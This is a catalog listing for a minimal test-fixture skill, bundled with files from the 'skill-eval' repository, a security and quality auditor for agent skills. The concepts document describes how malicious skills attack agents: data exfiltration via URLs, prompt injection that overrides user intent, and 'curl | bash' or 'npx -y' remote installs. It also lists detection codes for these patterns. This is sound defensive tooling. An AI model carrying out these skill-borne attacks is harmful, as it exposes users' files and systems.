
Skill Eval
- 2 installs
- 12 repo stars
- Updated May 27, 2026
- aws-samples/sample-agent-skill-eval
skill-eval (good-skill) is a minimal sample SKILL.md that follows the agentskills.io spec and exists as a fixture for testing skill evaluation tools.
About
This is a sample skill that serves as a well-structured test fixture following the agentskills.io spec. Its SKILL.md describes a trivial three-step usage flow (read input, process, output) and states it is meant for testing skill evaluation tools. A developer would encounter it as fixture data when building or testing a skill evaluator, not as a productive skill. It has no real domain capability.
- A minimal sample SKILL.md used as a test fixture for skill evaluation tools
- Demonstrates a well-structured skill following the agentskills.io spec
- Not a functional end-user skill; it exists to validate skill-eval tooling
Skill Eval by the numbers
- 2 all-time installs (skills.sh)
- Ranked #609 of 782 Skill Development skills by installs in the Skillselion catalog
- Data as of Jul 23, 2026 (Skillselion catalog sync)
skill-eval capabilities & compatibility
- Capabilities
- skill authoring reference
- Use cases
- testing
What skill-eval says it does
A well-structured test skill that follows the agentskills.io spec. Use when testing skill evaluation tools.
This is a properly structured skill for testing purposes.
npx skills add https://github.com/aws-samples/sample-agent-skill-eval --skill skill-evalAdd your badge
Show developers this skill is listed on Skillselion. Paste this into your README.
| Installs | 2 |
|---|---|
| repo stars | ★ 12 |
| Last updated | May 27, 2026 |
| Repository | aws-samples/sample-agent-skill-eval ↗ |
What it does
Serve as a well-structured sample SKILL.md fixture for testing skill evaluation tooling.
Who is it for?
Skip if: Any real end-user task; it is a placeholder fixture with no domain capability.
When should I use this skill?
When testing skill evaluation tools.
By the numbers
- Defines a 3-step usage flow
Files
Good Skill
This is a properly structured skill for testing purposes.
Usage
Run this skill when you need to test something.
Steps
1. Read the input 2. Process it 3. Output the result
name: CI
on:
push:
branches: [main]
pull_request:
branches: [main]
jobs:
test:
runs-on: ubuntu-latest
strategy:
matrix:
python-version: ["3.10", "3.12"]
steps:
- name: Checkout repository
uses: actions/checkout@v4
- name: Set up Python ${{ matrix.python-version }}
uses: actions/setup-python@v5
with:
python-version: ${{ matrix.python-version }}
- name: Install dependencies
run: |
pip install -e ".[dev]"
- name: Run tests
run: |
python -m pytest tests/ -q --tb=short
- name: Run audit on test fixtures
run: |
skill-eval audit tests/fixtures/good-skill
skill-eval audit tests/fixtures/eval-skill
name: Skill Evaluation
on:
workflow_call:
inputs:
skill_path:
description: "Path to the skill directory to evaluate"
required: true
type: string
python_version:
description: "Python version to use"
required: false
type: string
default: "3.12"
run_functional:
description: "Run functional evaluation (requires evals/evals.json)"
required: false
type: boolean
default: false
run_trigger:
description: "Run trigger evaluation (requires evals/eval_queries.json)"
required: false
type: boolean
default: false
fail_on_warning:
description: "Fail the workflow if any audit warnings are found"
required: false
type: boolean
default: false
outputs:
passed:
description: "Whether the skill passed all evaluations"
value: ${{ jobs.evaluate.outputs.passed }}
grade:
description: "Overall letter grade (A-F)"
value: ${{ jobs.evaluate.outputs.grade }}
score:
description: "Overall numeric score (0-100 for audit-only, 0-1 for unified)"
value: ${{ jobs.evaluate.outputs.score }}
jobs:
evaluate:
runs-on: ubuntu-latest
outputs:
passed: ${{ steps.result.outputs.passed }}
grade: ${{ steps.result.outputs.grade }}
score: ${{ steps.result.outputs.score }}
steps:
- name: Checkout repository
uses: actions/checkout@v4
- name: Set up Python
uses: actions/setup-python@v5
with:
python-version: ${{ inputs.python_version }}
- name: Install skill-eval
run: pip install .
- name: Run audit
id: audit
run: |
set +e
if [ "${{ inputs.fail_on_warning }}" = "true" ]; then
skill-eval audit "${{ inputs.skill_path }}" --format json --fail-on-warning > audit_results.json 2>&1
else
skill-eval audit "${{ inputs.skill_path }}" --format json > audit_results.json 2>&1
fi
AUDIT_EXIT=$?
echo "exit_code=$AUDIT_EXIT" >> "$GITHUB_OUTPUT"
cat audit_results.json
- name: Run functional evaluation
id: functional
if: inputs.run_functional
run: |
set +e
skill-eval functional "${{ inputs.skill_path }}" --format json > functional_results.json 2>&1
FUNC_EXIT=$?
echo "exit_code=$FUNC_EXIT" >> "$GITHUB_OUTPUT"
cat functional_results.json
- name: Run trigger evaluation
id: trigger
if: inputs.run_trigger
run: |
set +e
skill-eval trigger "${{ inputs.skill_path }}" --format json > trigger_results.json 2>&1
TRIGGER_EXIT=$?
echo "exit_code=$TRIGGER_EXIT" >> "$GITHUB_OUTPUT"
cat trigger_results.json
- name: Determine result
id: result
run: |
AUDIT_EXIT=${{ steps.audit.outputs.exit_code }}
# Default: audit-only results
PASSED="true"
GRADE="A"
SCORE="100"
if [ "$AUDIT_EXIT" = "2" ]; then
PASSED="false"
GRADE="F"
SCORE="0"
elif [ "$AUDIT_EXIT" = "1" ]; then
if [ "${{ inputs.fail_on_warning }}" = "true" ]; then
PASSED="false"
fi
fi
# Extract audit score from JSON if available
if [ -f audit_results.json ]; then
AUDIT_SCORE=$(python3 -c "
import json, sys
try:
data = json.load(open('audit_results.json'))
print(data.get('score', 100))
except Exception:
print(100)
" 2>/dev/null || echo "100")
SCORE="$AUDIT_SCORE"
GRADE=$(python3 -c "
s = int('$AUDIT_SCORE')
print('A' if s >= 90 else 'B' if s >= 80 else 'C' if s >= 70 else 'D' if s >= 60 else 'F')
" 2>/dev/null || echo "A")
fi
# Check functional result
if [ "${{ inputs.run_functional }}" = "true" ]; then
FUNC_EXIT="${{ steps.functional.outputs.exit_code }}"
if [ "$FUNC_EXIT" != "0" ] && [ -n "$FUNC_EXIT" ]; then
PASSED="false"
fi
fi
# Check trigger result
if [ "${{ inputs.run_trigger }}" = "true" ]; then
TRIGGER_EXIT="${{ steps.trigger.outputs.exit_code }}"
if [ "$TRIGGER_EXIT" != "0" ] && [ -n "$TRIGGER_EXIT" ]; then
PASSED="false"
fi
fi
echo "passed=$PASSED" >> "$GITHUB_OUTPUT"
echo "grade=$GRADE" >> "$GITHUB_OUTPUT"
echo "score=$SCORE" >> "$GITHUB_OUTPUT"
echo "Result: passed=$PASSED grade=$GRADE score=$SCORE"
- name: Upload results
if: always()
uses: actions/upload-artifact@v4
with:
name: skill-eval-results
path: |
audit_results.json
functional_results.json
trigger_results.json
if-no-files-found: ignore
__pycache__/
*.pyc
.venv/
*.egg-info/
dist/
build/
.pytest_cache/
tmp/
.clawhub/
_meta.json
uv.lock
AGENTS.md
Security and quality evaluation framework for Agent Skills. Python 3.10+, zero external deps for core audit; Claude CLI required for functional/trigger/compare/report.
Project Overview
Dual identity: This project is both a CLI tool (skill-eval) and an Agent Skill (via SKILL.md). It evaluates other skills across safety, quality, reliability, and cost efficiency.
Current state: 9 commands, 505 tests, zero external dependencies in the core audit path.
Key docs:
SKILL.md— Agent Skill manifest (triggers, commands, decision tree)references/cli-reference.md— Full CLI flag referencereferences/security-checks.md— All SEC/STR/PERM codes with OWASP mappingreferences/security-checklist.md— Quick-reference security checklist
File Map
Core (skill_eval/)
| File | Purpose |
|---|---|
cli.py | CLI entry point (main()). Parses args, dispatches to subcommands |
schemas.py | Finding, Severity, Category, AuditReport dataclasses; compute_score(), compute_grade() |
eval_schemas.py | Dataclasses for eval pipeline: EvalCase, AssertionResult, GradingResult, RunPairResult, BenchmarkReport, TriggerQuery, TriggerQueryResult, TriggerReport, CompareReport |
report.py | Text and JSON report formatting for audit results |
unified_report.py | Aggregates audit + functional + trigger -> weighted score (40/40/20) -> unified grade |
regression.py | Baseline snapshots (Snapshot dataclass), version history, regression detection |
agent_runner.py | AgentRunner ABC + ClaudeRunner implementation + register_runner()/get_runner() factory |
_claude.py | Backward-compat wrapper delegating to agent_runner; check_claude_available(), run_claude_prompt() |
functional.py | Functional eval orchestration: load evals -> run with/without skill -> grade -> BenchmarkReport |
grading.py | Deterministic assertion grading (contains, regex, JSON, line count, etc.) + LLM fallback |
trigger.py | Trigger eval: load queries -> run -> detect skill activation via stream-json -> TriggerReport |
compare.py | Side-by-side comparison: runs same evals with two skills -> winner by tokens-per-pass |
init.py | Scaffold generator: creates template evals.json + eval_queries.json from SKILL.md frontmatter |
lifecycle.py | Version tracking and change detection for skills |
Audit (skill_eval/audit/)
| File | Purpose |
|---|---|
__init__.py | Package init |
structure_check.py | Validates SKILL.md frontmatter, name/description fields, directory conventions (STR-xxx codes) |
security_scan.py | SEC-001-009 detection: secrets, URLs, subprocess, installs, injection, deserialization, dynamic imports, base64, MCP refs |
permission_analyzer.py | PERM-001-005: unscoped Bash, high-risk tools, tool count, sensitive dirs, sudo, absolute paths |
Tests (tests/)
| File | Covers |
|---|---|
test_cli.py | Full audit pipeline, scoring, grade boundaries, report formatting |
test_structure_check.py | Frontmatter parsing, YAML parser, name/description validation |
test_security_scan.py | All SEC-001-009 patterns with positive and negative cases |
test_permission_analyzer.py | PERM-001-005 detection |
test_regression.py | Snapshots, regression detection, baseline lookup, edge cases |
test_eval_schemas.py | Serialization roundtrips for all eval dataclasses |
test_functional.py | Eval loading, math helpers, benchmark aggregation, dry-run, execute_eval_pair |
test_grading.py | All deterministic graders + LLM fallback mocking |
test_trigger.py | Query loading, trigger detection, report building, token tracking |
test_compare.py | Compare pipeline, aggregation, winner determination |
test_init.py | Scaffold generation, frontmatter parsing, skip-existing logic |
test_agent_runner.py | AgentRunner ABC, ClaudeRunner methods, registry/factory |
test_unified_report.py | Weighted scoring, grade boundaries, bar rendering, skip flags |
test_clawhub_fixtures.py | Real ClawHub skills (weather, nano-pdf, slack) pass structure/security |
test_lifecycle.py | Lifecycle version tracking and change detection |
Fixtures (tests/fixtures/)
| Directory | Purpose |
|---|---|
good-skill/ | Clean skill — passes all checks (score 100/A) |
bad-skill/ | Every anti-pattern — secrets, eval, pickle, MCP, unscoped Bash |
eval-skill/ | Functional eval fixture with evals/evals.json and evals/eval_queries.json |
mcp-skill/ | MCP server reference detection fixture |
no-frontmatter/ | Missing YAML frontmatter (error case) |
clawhub-skills/weather/ | Real ClawHub weather skill |
clawhub-skills/nano-pdf/ | Real ClawHub PDF processing skill |
clawhub-skills/slack/ | Real ClawHub Slack integration skill |
Config & CI
| File | Purpose |
|---|---|
pyproject.toml | Package metadata, entry point skill-eval = skill_eval.cli:main, dev deps |
.github/workflows/ci.yml | Tests on Python 3.10 + 3.12, audit fixtures on push/PR |
.github/workflows/skill-eval.yml | Reusable workflow for external repos |
Architecture
Key Design Decisions
- Zero external dependencies for the core audit path (audit, init, snapshot, regression, lifecycle). This means any agent can run security checks without installing anything beyond the stdlib.
- AgentRunner ABC (
agent_runner.py) abstracts over CLI-based agents.ClaudeRunneris the default; new runners (e.g., for other agent CLIs) can be registered viaregister_runner()and used with--agent. - Pareto classification in functional evals classifies cost-efficiency tradeoffs — a skill can be high quality but expensive, or cheap but lower quality.
- Deterministic grading first (
grading.py) — uses contains/regex/JSON checks before falling back to LLM-based grading, keeping evals reproducible and fast. - Scoped scanning by default (
security_scan.py) — audit only scans skill-standard directories (root files,scripts/,agents/) to avoid false positives from test fixtures and documentation. Use--include-allfor full directory tree scanning.
Entry Point
skill_eval/cli.py:main() -> argparse -> dispatches to subcommand handler.
Audit Pipeline
cli.py:run_audit(path)
-> structure_check.check_structure(path) -> [Finding...]
-> security_scan.scan_skill(path) -> [Finding...]
-> permission_analyzer.analyze_permissions(path) -> [Finding...]
-> schemas.AuditReport(findings) -> compute_score() -> compute_grade()
-> report.format_report(report) -> stdout (text or JSON)Functional Pipeline
functional.py:run_functional_eval(skill_path)
-> load_evals(evals/evals.json) -> [EvalCase...]
-> for each eval, N runs:
-> agent_runner.run_prompt(prompt, skill=None) -> baseline output
-> agent_runner.run_prompt(prompt, skill=path) -> skill output
-> grading.grade_output(output, assertions) -> GradingResult
-> aggregate_benchmark(results) -> BenchmarkReport -> benchmark.jsonTrigger Pipeline
trigger.py:run_trigger_eval(skill_path)
-> load_queries(evals/eval_queries.json) -> [TriggerQuery...]
-> for each query, N runs:
-> agent_runner.run_prompt(query, skill=path)
-> detect_skill_trigger(output, skill_name) -> bool
-> build_trigger_report(results) -> TriggerReportUnified Report Pipeline
unified_report.py:run_unified_report(skill_path)
-> run_audit() -> audit_score (weight 0.40)
-> run_functional() -> functional_score (weight 0.40)
-> run_trigger() -> trigger_score (weight 0.20)
-> compute_weighted_score() -> overall gradeAgent Runner Abstraction
AgentRunner (ABC)
|-- check_available() -> bool
|-- run_prompt(prompt, skill_path?, timeout?) -> (output, tokens)
+-- parse_output(raw) -> (text, tool_calls, tokens)
ClaudeRunner(AgentRunner) <- default, wraps `claude` CLI
register_runner(name, cls) <- add custom runner
get_runner(name="claude") <- factoryDevelopment Commands
pip install -e . # Install (no dev deps needed)
uv run --with pytest python -m pytest tests/ -q # Run all 505 tests
pytest tests/test_security_scan.py # Single module
pytest tests/ --cov=skill_eval # With coverage
skill-eval audit tests/fixtures/good-skill # Smoke test (expect 100/A)
skill-eval audit tests/fixtures/bad-skill # Expect 0/FTest Conventions
- Files:
tests/test_<module>.py - Style: unittest-style classes with pytest runner
- Fixtures:
tests/fixtures/(good-skill, bad-skill, eval-skill, mcp-skill, clawhub-skills/) - All mocked — no external deps needed to run the full suite
Adding a New Security Rule
1. Add pattern to skill_eval/audit/security_scan.py (new SEC-0XX code) 2. Add matching content to tests/fixtures/bad-skill/ (SKILL.md or scripts/) 3. Write tests in tests/test_security_scan.py 4. Update SKILL.md "What It Checks" section
Adding a New Agent Runner
1. Subclass AgentRunner in skill_eval/agent_runner.py 2. Implement check_available(), run_prompt(), parse_output() 3. Call register_runner("name", YourRunner) 4. Use via --agent name CLI flag
Code Style
- Python 3.10+ (use
from __future__ import annotations) - Type hints on all public functions
- Docstrings on public functions
- Zero external dependencies in core audit module — stdlib only
- Conventional commits:
feat:,fix:,test:,docs:,ci: - Branch naming:
feat/xxxorfix/xxx
Code of Conduct
This project has adopted the Amazon Open Source Code of Conduct. For more information see the Code of Conduct FAQ or contact opensource-codeofconduct@amazon.com with any additional questions or comments.
Contributing Guidelines
Thank you for your interest in contributing to our project. Whether it's a bug report, new feature, correction, or additional documentation, we greatly value feedback and contributions from our community.
Please read through this document before submitting any issues or pull requests to ensure we have all the necessary information to effectively respond to your bug report or contribution.
Reporting Bugs/Feature Requests
We welcome you to use the GitHub issue tracker to report bugs or suggest features.
When filing an issue, please check existing open, or recently closed, issues to make sure somebody else hasn't already reported the issue. Please try to include as much information as you can. Details like these are incredibly useful:
- A reproducible test case or series of steps
- The version of our code being used
- Any modifications you've made relevant to the bug
- Anything unusual about your environment or deployment
Contributing via Pull Requests
Contributions via pull requests are much appreciated. Before sending us a pull request, please ensure that:
1. You are working against the latest source on the main branch. 2. You check existing open, and recently merged, pull requests to make sure someone else hasn't addressed the problem already. 3. You open an issue to discuss any significant work - we would hate for your time to be wasted.
To send us a pull request, please:
1. Fork the repository. 2. Modify the source; please focus on the specific change you are contributing. If you also reformat all the code, it will be hard for us to focus on your change. 3. Ensure local tests pass. 4. Commit to your fork using clear commit messages. 5. Send us a pull request, answering any default questions in the pull request interface. 6. Pay attention to any automated CI failures reported in the pull request, and stay involved in the conversation.
GitHub provides additional document on forking a repository and creating a pull request.
Finding contributions to work on
Looking at the existing issues is a great way to find something to contribute on. As our projects, by default, use the default GitHub issue labels (enhancement/bug/duplicate/help wanted/invalid/question/wontfix), looking at any 'help wanted' issues is a great place to start.
Code of Conduct
This project has adopted the Amazon Open Source Code of Conduct. For more information see the Code of Conduct FAQ or contact opensource-codeofconduct@amazon.com with any additional questions or comments.
Security issue notifications
If you discover a potential security issue in this project we ask that you notify AWS/Amazon Security via our vulnerability reporting page. Please do not create a public github issue.
Licensing
See the LICENSE file for our project's licensing. We will ask you to confirm the licensing of your contribution.
#!/usr/bin/env bash
# demo.sh — End-to-end demonstration of all skill-eval commands.
# Runs against built-in test fixtures. No claude CLI dependency.
#
# Usage:
# bash demo.sh # from any directory
# chmod +x demo.sh && ./demo.sh
set -euo pipefail
# ── Color helpers (respect NO_COLOR / pipe detection) ─────────────
if [[ -z "${NO_COLOR:-}" ]] && [[ -t 1 ]]; then
BOLD="\033[1m"
CYAN="\033[36m"
GREEN="\033[32m"
YELLOW="\033[33m"
RED="\033[31m"
RESET="\033[0m"
else
BOLD="" CYAN="" GREEN="" YELLOW="" RED="" RESET=""
fi
section() {
echo ""
echo -e "${BOLD}${CYAN}── $1 ──${RESET}"
echo ""
}
# ── Directory anchoring ──────────────────────────────────────────
SCRIPT_DIR="$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd)"
GOOD="${SCRIPT_DIR}/tests/fixtures/good-skill"
BAD="${SCRIPT_DIR}/tests/fixtures/bad-skill"
EVAL="${SCRIPT_DIR}/tests/fixtures/eval-skill"
# ── Preflight check ─────────────────────────────────────────────
if ! python3 -c "import skill_eval" 2>/dev/null; then
echo -e "${RED}Error: skill_eval module not importable.${RESET}"
echo "Install with: pip install -e '${SCRIPT_DIR}'"
exit 1
fi
# ── Cleanup trap ─────────────────────────────────────────────────
# The snapshot command writes evals/ into the good-skill fixture; remove it on exit.
GOOD_EVALS_EXISTED=false
if [[ -d "${GOOD}/evals" ]]; then
GOOD_EVALS_EXISTED=true
fi
cleanup() {
if [[ "${GOOD_EVALS_EXISTED}" == "false" ]]; then
rm -rf "${GOOD}/evals"
fi
}
trap cleanup EXIT
# ── 1. Audit good-skill ─────────────────────────────────────────
section "1/7 Audit good-skill (expect Score 100, Grade A)"
python3 -m skill_eval.cli audit "${GOOD}"
# ── 2. Audit bad-skill (verbose) ────────────────────────────────
section "2/7 Audit bad-skill --verbose (expect Score 0, Grade F)"
# bad-skill has critical findings → exit 2 under set -e, so allow failure
python3 -m skill_eval.cli audit "${BAD}" --verbose || true
# ── 3. Snapshot good-skill ──────────────────────────────────────
section "3/7 Snapshot good-skill (save baseline)"
python3 -m skill_eval.cli snapshot "${GOOD}" --version demo
# ── 4. Regression check ────────────────────────────────────────
section "4/7 Regression check good-skill (compare against baseline)"
python3 -m skill_eval.cli regression "${GOOD}"
# ── 5. Functional eval (dry-run) ────────────────────────────────
section "5/7 Functional eval --dry-run (show eval cases)"
python3 -m skill_eval.cli functional "${EVAL}" --dry-run
# ── 6. Trigger eval (dry-run) ──────────────────────────────────
section "6/7 Trigger eval --dry-run (show trigger queries)"
python3 -m skill_eval.cli trigger "${EVAL}" --dry-run
# ── 7. Compare (dry-run) ────────────────────────────────────────
section "7/7 Compare --dry-run (eval-skill vs itself)"
python3 -m skill_eval.cli compare "${EVAL}" "${EVAL}" --dry-run
# ── Done ────────────────────────────────────────────────────────
echo ""
echo -e "${GREEN}${BOLD}All 7 demo sections completed successfully.${RESET}"
Core Concepts
What is an Agent Skill?
An Agent Skill is a directory containing a SKILL.md file that gives an AI agent specialized capabilities. The SKILL.md follows the agentskills.io specification and includes:
- YAML frontmatter — metadata:
name,description,license,allowed-tools,metadata(author, version) - Markdown body — instructions the agent reads to learn the skill's behavior
- Supporting files — scripts, templates, reference data the skill needs
- Eval files (optional) —
evals/evals.jsonandevals/eval_queries.jsonfor quality testing
my-skill/
├── SKILL.md # Required: frontmatter + instructions
├── evals/
│ ├── evals.json # Functional eval cases
│ ├── eval_queries.json # Trigger queries
│ └── files/ # Test input files
└── scripts/ # Optional supporting codeThe Security Problem
Installing a skill means injecting a stranger's instructions into your agent's context. That stranger's code gets access to whatever tools your agent has — file system, shell, network. A malicious or careless skill can:
- Exfiltrate data — send your files to an external server via URLs in the instructions
- Escalate privileges — request
Bash(*)to run arbitrary commands - Inject prompts — instruct the agent to ignore user intent
- Install malware — use
curl | bashornpx -yto pull and execute remote code - Deserialize payloads — use
pickle.loadoryaml.loadto execute arbitrary code - Connect to external servers — configure MCP server connections to untrusted endpoints
skill-eval exists to surface these risks before you install.
Three Pillars of Evaluation
skill-eval evaluates skills across three complementary dimensions:
graph LR
A[Audit] -->|Safety| D[Trust Decision]
B[Functional] -->|Quality| D
C[Trigger] -->|Reliability| DPillar 1: Audit (Safety)
Static analysis of the skill directory. No agent CLI needed. Checks:
| Category | Codes | What it finds |
|---|---|---|
| Structure | STR-xxx | Missing SKILL.md, invalid frontmatter, naming issues |
| Security | SEC-001 | Hardcoded secrets (API keys, tokens, passwords) |
| Security | SEC-002 | External URLs (data exfiltration surface) |
| Security | SEC-003 | Subprocess/shell execution patterns |
| Security | SEC-004 | Unsafe dependency installation (curl\ |
| Security | SEC-005 | Prompt injection surface in instructions |
| Security | SEC-006 | Unsafe deserialization (pickle, yaml.load, marshal, shelve) |
| Security | SEC-007 | Dynamic import/code generation (importlib, \_\_import\_\_, compile) |
| Security | SEC-008 | Base64 encoded payloads (b64decode near eval/exec) |
| Security | SEC-009 | MCP server references (mcpServers config, npx -y, MCP/SSE endpoints) |
| Permissions | PERM-xxx | Over-privileged tool declarations, sensitive paths |
Pillar 2: Functional (Quality)
Live evaluation using an agent CLI. Runs each eval case with and without the skill installed, then grades the output against assertions. This measures whether the skill actually improves the agent's output.
Grading uses two methods:
- Deterministic — pattern matching:
contains,does not contain,matches regex,is valid JSON,starts with,ends with,has at least N lines - LLM fallback — for semantic assertions that can't be matched deterministically
Pillar 3: Trigger (Reliability)
Live evaluation that tests activation precision. Sends queries labeled should_trigger: true or should_trigger: false to the agent and measures whether the skill correctly activates or stays silent. Each query is run multiple times to compute a trigger rate.
Scoring System
Audit Scoring
Starts at 100, deducts per finding:
| Severity | Deduction | Meaning |
|---|---|---|
| CRITICAL | -25 | Must fix. Blocks CI. |
| WARNING | -10 | Should fix. |
| INFO | -2 | Nice to fix. |
Score is floored at 0. Letter grades:
| Grade | Score Range |
|---|---|
| A | 90 - 100 |
| B | 80 - 89 |
| C | 70 - 79 |
| D | 60 - 69 |
| F | 0 - 59 |
A skill with any CRITICAL findings fails the audit regardless of score.
Unified Report Scoring
The report command combines all three pillars into a single 0-1 score:
overall = audit_normalized × 0.4 + functional_score × 0.4 + trigger_pass_rate × 0.2audit_normalized= audit score / 100functional_score= overall assertion pass rate (0-1)trigger_pass_rate= fraction of trigger queries that passed (0-1)
If a phase is skipped or its eval files don't exist, its weight is redistributed proportionally to the remaining phases.
The same A-F letter grade scale applies to the 0-1 overall score (e.g., 0.9+ = A).
Functional 4-Dimension Scoring
Functional evaluation produces four dimension scores:
- Outcome — assertion pass rate across all eval cases
- Process — tool usage appropriateness (did the agent use the right tools?)
- Style — output formatting quality
- Efficiency — tokens consumed per passing assertion (lower is better)
The AgentRunner Abstraction
skill-eval is designed to be agent-agnostic. The AgentRunner abstract class (skill_eval/agent_runner.py) defines the interface any agent CLI must implement:
classDiagram
class AgentRunner {
<<abstract>>
+check_available()
+run_prompt(prompt, skill_path, workspace_dir, timeout, output_format)
+parse_output(raw) dict
+total_tokens(token_counts) int
}
class ClaudeRunner {
+CLI_NAME = "claude"
+check_available()
+run_prompt(...)
+parse_output(raw) dict
}
AgentRunner <|-- ClaudeRunnerKey methods:
| Method | Purpose |
|---|---|
check_available() | Verify the CLI is on PATH |
run_prompt() | Execute a prompt, optionally with skill injection |
parse_output() | Parse CLI output into structured data (events, tool calls, text, token counts) |
total_tokens() | Sum token consumption from parsed output |
The built-in ClaudeRunner is registered as "claude" and used by default. To support a different agent:
1. Subclass AgentRunner 2. Implement the four abstract methods 3. Call register_runner("my-agent", MyRunner) 4. Use --agent my-agent on the command line
Eval File Formats
evals/evals.json — Functional Eval Cases
A JSON array of eval case objects:
[
{
"id": "csv-summary",
"prompt": "Read the file sample.csv and output a summary with the number of rows and the column names.",
"expected_output": "The CSV has 3 rows and columns: name, age, city",
"files": ["files/sample.csv"],
"assertions": [
"contains 'name'",
"contains 'age'",
"contains 'city'",
"has at least 1 lines"
]
}
]| Field | Type | Required | Description |
|---|---|---|---|
id | string | yes | Unique identifier for the eval case |
prompt | string | yes | The task to send to the agent |
expected_output | string | no | Reference answer (used for LLM grading) |
files | string[] | no | Paths to files copied into the workspace (relative to evals/) |
assertions | string[] | yes | Grading rules applied to the agent's output |
Assertion types:
| Assertion | Example | Method |
|---|---|---|
contains 'text' | contains 'name' | Deterministic |
does not contain 'text' | does not contain 'error' | Deterministic |
matches regex /pattern/ | matches regex /\d+ rows/ | Deterministic |
is valid JSON | is valid JSON | Deterministic |
starts with 'text' | starts with '{' | Deterministic |
ends with 'text' | ends with '}' | Deterministic |
has at least N lines | has at least 3 lines | Deterministic |
| _(anything else)_ | output is relevant to: data analysis | LLM fallback |
evals/eval_queries.json — Trigger Queries
A JSON array of trigger query objects:
[
{"query": "Analyze the CSV file and give me summary statistics", "should_trigger": true},
{"query": "Write me a haiku about the ocean", "should_trigger": false}
]| Field | Type | Required | Description |
|---|---|---|---|
query | string | yes | The query to send to the agent |
should_trigger | boolean | yes | Whether the skill should activate for this query |
A should_trigger: true query passes if the skill activates on a majority of runs. A should_trigger: false query passes if the skill stays silent on all runs.
CI Exit Codes
All commands use consistent exit codes for CI integration:
| Command | Exit 0 | Exit 1 | Exit 2 |
|---|---|---|---|
audit | No critical findings | Warnings (with --fail-on-warning) | Critical findings |
init | Success | Error (SKILL.md not found) | — |
snapshot | Success | Error | — |
regression | No regressions | Regression detected | Baseline not found |
functional | Skill meets quality bar | Skill underperforms | Error (file/JSON) |
trigger | All queries passed | One or more failed | Error (file/JSON) |
compare | Success | — | Error (file/JSON) |
report | All phases passed | One or more phases failed | — |
Phase 2 Review: Regression Gate + CLI Enhancements
Reviewer: Claude Opus 4.6 Date: 2026-03-12 Files Reviewed:
skill_eval/regression.py(NEW)skill_eval/cli.py(MODIFIED)tests/test_regression.py(NEW)
Test results: 106/106 passing (94 original + 12 new tests added during review)
---
A. Bugs and Issues
BUG-1: Finding Key Collision in check_regression (FIXED)
Severity: Medium Location: skill_eval/regression.py:268-271 (original line numbers)
current_finding_keys was a dict keyed by "{code}:{file_path}:{line_number}". When multiple findings share the same code, file, and line number, later entries silently overwrite earlier ones.
Reproduction: A single line like subprocess.run("ls", shell=True) triggers two SEC-003 findings (one for subprocess.run, one for shell=True). Both map to the same key SEC-003:/path/test.py:3, so one is dropped. This causes:
- Regression count to be underreported
unchangedcount to be incorrect- Mismatch between
finding_countin history (fromlen(report.findings)) and the number of items in the regression JSON output
Fix applied: Added title to the key: "{code}:{file_path}:{line_number}:{title}". This disambiguates findings that share the same code/file/line but have different pattern matches.
BUG-2: _get_latest_baseline Accidentally Correct (FIXED)
Severity: Low Location: skill_eval/regression.py:123-148 (original line numbers)
The function sorted ALL directories in baselines/ by st_mtime, including the latest/ directory itself. It worked by coincidence because save_snapshot always writes latest/ after the version directory, so latest/ has the newest mtime.
This would break if:
- A filesystem indexer touches the version directory after
latest/is written - Someone manually edits a version directory
- The
latest/directory is deleted but a version directory remains
Fix applied: Now explicitly checks for baselines/latest/ first. Falls back to mtime-sorted version directories (excluding latest) if latest/ is missing or corrupted.
ISSUE-3: Thread Safety of SAFE_DOMAINS Mutation
Severity: Low (single-threaded CLI usage is the norm) Location: skill_eval/cli.py:36-41 and skill_eval/cli.py:83-85
run_audit() mutates the module-level SAFE_DOMAINS set (imported from security_scan.py) by calling .add() and .discard(). If two audits run concurrently (e.g., via threading or async), one audit's domain additions could leak into another audit, or .discard() could remove a domain while another thread is iterating.
Current risk: Low. The CLI processes skill paths sequentially in a loop, and the try/finally cleanup restores the set. However:
- The
--allowlistflag combined with multipleskill_pathargs processes paths in a loop. Each iteration correctly adds/removes from the set, but there's no isolation between iterations. If one audit raises an unexpected exception that bypassesfinally, the set would be left modified. - If this library is ever used as a Python API with threading, this would be a race condition.
Recommendation: Replace mutation with a local copy pattern:
# Instead of mutating SAFE_DOMAINS:
effective_domains = SAFE_DOMAINS | extra_safe_domains if extra_safe_domains else SAFE_DOMAINS
# Pass effective_domains to scan_security()Not fixed in this review - requires changing the scan_security() function signature, which is a Phase 1 API change.
ISSUE-4: format Parameter Shadows Python Builtin
Severity: Cosmetic Location: skill_eval/regression.py:225
check_regression(format="text") uses format as a parameter name, shadowing the Python builtin format(). Not a runtime bug but goes against PEP8 conventions. Consider output_format in a future refactor.
---
B. Test Coverage
Previously Existing Tests (13 regression tests)
| Scenario | Covered? |
|---|---|
| Create snapshot | Yes |
| Snapshot content validation | Yes |
| Auto version detection | Yes |
| History updates | Yes |
| Multiple snapshots | Yes |
| No regression when unchanged | Yes |
| Regression on new issues | Yes |
| No baseline error | Yes |
| JSON output | Yes |
| Custom baseline path | Yes |
| Snapshot model roundtrip | Yes |
| RegressionResult serialization | Yes |
| Snapshot.from_report | Yes |
Scenarios NOT Tested (before this review)
| Gap | Risk | Added? |
|---|---|---|
| Finding key collision (same code/file/line) | High - silent data loss | Yes |
| Score drop within tolerance (no criticals) | Medium - core pass/fail logic | Yes |
| Corrupted baseline JSON | Medium - crash risk | Yes |
| Invalid custom baseline path | Low - error handling | Yes |
| Improvement detection | Medium - reported but not verified | Yes |
| Version overwrite (same version saved twice) | Low - data integrity | Yes |
_get_latest_baseline prefers "latest" dir | Medium - core logic | Yes |
_get_latest_baseline fallback on corrupt "latest" | Medium - resilience | Yes |
_get_latest_baseline returns None (no baselines) | Low - base case | Yes |
_get_latest_baseline returns None (empty dir) | Low - edge case | Yes |
Snapshot.from_dict with extra keys | Low - forwards compat | Yes |
| All findings tracked in regression output | High - validates collision fix | Yes |
| Thread safety of SAFE_DOMAINS | Low (single-threaded) | No (design issue) |
Concurrent check_regression calls | Low | No (design issue) |
| Very large history.json | Low | No |
| Snapshot with unicode skill name | Low | No |
Tests Added (12 new tests)
